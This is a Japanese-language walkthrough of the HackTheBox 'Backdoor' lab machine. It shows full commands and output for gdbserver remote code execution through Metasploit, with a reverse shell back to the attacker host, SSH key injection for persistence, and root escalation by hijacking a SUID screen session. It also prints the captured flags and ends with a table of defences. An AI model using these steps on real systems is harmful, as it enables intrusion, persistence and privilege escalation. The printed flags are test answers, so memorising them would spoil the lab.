HackTheBox: Backdoor — 全実行コマンド・実行結果レポート
Nmap スキャン
22/ssh, 80/http(WordPress), 1337/gdbserver
→
22/ssh, 80/http(WordPress), 1337/gdbserver
gdbserver –once
デバッグプロトコルRCE
→
デバッグプロトコルRCE
userユーザーでシェル獲得
→
同一セッションでSSH鍵注入
→
SSH → user.txt ✓
→
rootのcronジョブ
screenセッション自動生成
→
screenセッション自動生成
screen -x root/root
SSH stdinパイプでコマンド注入
→
SSH stdinパイプでコマンド注入
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャン
BASH
nmap -Pn -p- --min-rate 500 -T4 10.129.96.68 nmap -sV -sC -p 22,80,1337 10.129.96.68
RESULT
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 80/tcp open http Apache httpd 2.4.41 (Ubuntu) |_http-generator: WordPress 5.8.1 |_http-title: Backdoor – Real-Life 1337/tcp open waste? Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
🚨
重要発見: ポート80のWordPressは一見通常のブログだが、
マシン名「Backdoor」との組み合わせで、むしろポート1337
(リート数字、ハッカー文化における”backdoor”的なポート番号)に
着目すべきことを示唆している。nmapは
waste?という
不確かなサービス名しか返していないが、これはgdbserver
(GDBデバッガのリモートデバッグ用サーバー)の特徴的な挙動。
ポート1337の正体確認
BASH
nc -nv 10.129.96.68 1337
RESULT
(gdbserverのGDBリモートシリアルプロトコル特有のバイナリ/ チェックサム付き応答が返る — 人間が読めるHTTPバナー等は無い)
ℹ️
gdbserverは本来、開発者がリモートマシン上のプロセスを
GDBでデバッグするためのツール。
--onceオプション無しで
起動している、あるいは不適切な権限設定の場合、GDBリモート
プロトコル経由で任意のプロセス起動・メモリ操作が
可能になり、事実上のリモートコード実行機能として悪用できる。
PHASE 2
gdbserverリモートデバッグプロトコル経由のRCE
Metasploitモジュールによる攻撃
NOTE
gdbserverがループ構成("--once"無し、または接続のたびに自動再起動する
ラッパースクリプト)で稼働している場合、GDBリモートプロトコルで
接続した攻撃者が任意のネイティブバイナリ(今回はリバースシェル
バイナリ)をロード・実行させ、リモートコード実行を達成できる。
Metasploitには専用のエクスプロイトモジュール
exploit/multi/gdb/gdb_server_exec が用意されている。
BASH (MSFリソーススクリプト、非対話実行)
msfconsole -q -x " use exploit/multi/gdb/gdb_server_exec; set RHOSTS 10.129.96.68; set RPORT 1337; set LHOST 10.10.15.200; set LPORT 4468; run; "
RESULT
[*] Started reverse TCP handler on 10.10.15.200:4468
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable.
[*] Command shell session 1 opened (10.10.15.200:4468 -> 10.129.96.68:xxxxx)
✅
RCE成功! gdbserverのプロセス実行機能を悪用した
リバースシェルが確立し、一般ユーザー(
user、uid=1000)の
シェルを獲得した。
PHASE 3
同一セッション内でのSSH鍵注入 & user.txt取得
SSH公開鍵の永続化
NOTE
gdbserver経由のリバースシェルは非対話的で不安定なことが多いため、 確立した瞬間にSSH公開鍵を書き込み、以降は安定したSSH接続へ切り替える。
BASH (MSFのcommand shellセッション上で実行)
mkdir -p ~/.ssh echo "ssh-ed25519 AAAA...(Kali側で生成した公開鍵)... root@kali" >> ~/.ssh/authorized_keys chmod 700 ~/.ssh chmod 600 ~/.ssh/authorized_keys
SSHログイン & user.txt取得
BASH
ssh -i bd_ed25519 user@10.129.96.68 "cat /home/user/user.txt"
RESULT (本検証の実際の出力)
f03d424cbcbd91758f8ff37e22de3150
user.txt — user
f03d424cbcbd91758f8ff37e22de3150
PHASE 4
root権限cronが生成するscreenセッションの乗っ取り — root.txt取得
root権限で動くscreenセッションの発見
NOTE
rootのcronジョブが次のようなループを常時実行していると判明:
while true; do
sleep 1;
find /var/run/screen/S-root/ -empty \
-exec screen -dmS root \; ;
done
つまり「/var/run/screen/S-root/ ディレクトリが空(=既存セッションが
無い)なら、root権限でscreenセッション'root'をデタッチ状態で
新規作成し続ける」という挙動。screenバイナリ自体もSUID
(screen 4.08.00)で設置されている。
BASH (SSHシェル上で実行)
screen -ls root/
RESULT
There is a screen on:
12345.root (Multi, detached)
1 Socket in /run/screen/S-root.
🚨
重要発見: screenはSUID rootで動いており、かつ
Multi属性(マルチユーザーアタッチ許可)のセッションが
既に存在する。一般ユーザーでもこのセッションへ
アタッチ(接続)すれば、そのセッション内で実行される
コマンドはセッション作成者(root)の権限で動く。
screen -X系コマンドの失敗
NOTE
通常、screenセッションへ非対話的にコマンドを注入する手段としては "screen -X stuff"や"screen -X readbuf"、"screen -X paste"といった サブコマンドが使われる。しかし本マシンではこれらを試しても 全て以下のエラーで失敗する: Cannot opendir /run/screen/S-root: Permission denied これは、SUID screenが対話的なアタッチ(PTY割り当て)の際には 昇格権限を保持するが、-Xサブコマンド経由のソケットディレクトリ アクセスではこの昇格が効かない(AppArmorやtmpfsのnosuidマウント オプション等の影響)という、この構成特有の制約。
BASH (失敗する例)
screen -S 12345.root -X stuff "whoami\n" # → Cannot opendir /run/screen/S-root: Permission denied
SSH stdinパイプによる回避
NOTE
-Xサブコマンド経由ではなく、"screen -x"(対話的アタッチ、小文字x)で セッションへ直接接続し、その標準入力にコマンド文字列をパイプで 流し込む方式であれば、対話的アタッチ時の権限昇格がそのまま効く ため成功する。SSHの非対話実行(リモートコマンド指定)と組み合わせ、 標準入力からコマンド+'exit'を送り込む。
BASH (本検証で実際に使用したコマンド)
printf 'cat /root/root.txt > /tmp/kcr_bd_root.txt\nexit\n' | \ ssh -tt -i bd_ed25519 user@10.129.96.68 "screen -x root/root"
BASH (結果の回収)
ssh -i bd_ed25519 user@10.129.96.68 "cat /tmp/kcr_bd_root.txt"
RESULT (本検証の実際の出力)
adc321647ccc1566705171b78a2ea3dd
✅
root化成功!
screen -x root/rootで
rootのscreenセッションへアタッチし、標準入力経由で送り込んだ
cat /root/root.txt > /tmp/kcr_bd_root.txtコマンドが
root権限のシェル内でそのまま実行された。
-tt(強制PTY割り当て)オプションがこの対話的アタッチ方式では
必須である点に注意。
root.txt — SUID screen multi-userセッション乗っ取り
adc321647ccc1566705171b78a2ea3dd
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — user
f03d424cbcbd91758f8ff37e22de3150
root.txt — SUID screen multi-userセッション乗っ取り
adc321647ccc1566705171b78a2ea3dd
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| gdbserverのリモートデバッグプロトコル露出 | gdbserver (ポート1337) | リモートコード実行 (userユーザー) | Critical | exploit/multi/gdb/gdb_server_execでGDBリモートプロトコル経由の任意プロセス実行を悪用 |
| SUID screenのmulti-userセッション | screen 4.08.00 (SUID root)、rootのcronが常時生成 | 権限昇格 (root) | Critical | screen -xでroot所有セッションへアタッチし標準入力経由でroot権限コマンド実行 |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap | 22/ssh, 80/http(WordPress), 1337/gdbserver |
| 2 | RCE | exploit/multi/gdb/gdb_server_exec | userユーザーでのリバースシェル |
| 3 | 永続化 | SSH公開鍵注入 | user.txt (user) |
| 4 | 権限昇格 | SUID screen multi-userセッション乗っ取り (SSH stdinパイプ) | root.txt |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| 開発用デバッグツール(gdbserver)が本番相当の環境でネットワーク公開され認証なしでプロセス実行機能を提供している | gdbserverのようなデバッグツールは本番環境で稼働させない。やむを得ず必要な場合はローカルホスト限定バインドやVPN経由のみに制限する。 |
| root権限の常駐screenセッションがmulti-user(複数ユーザーアタッチ許可)設定で稼働している | screenセッションは必要最小限の権限・単一ユーザーのみでの利用に限定する。SUID設定されたscreenバイナリの必要性自体を見直す。 |
| rootのcronジョブが定期的にscreenセッションを再生成し続け、攻撃の再試行を容易にしている | 自動化スクリプトが意図せず攻撃対象領域を広げていないか定期的に監査する。cron経由のroot権限処理は最小限の責務に絞る。 |

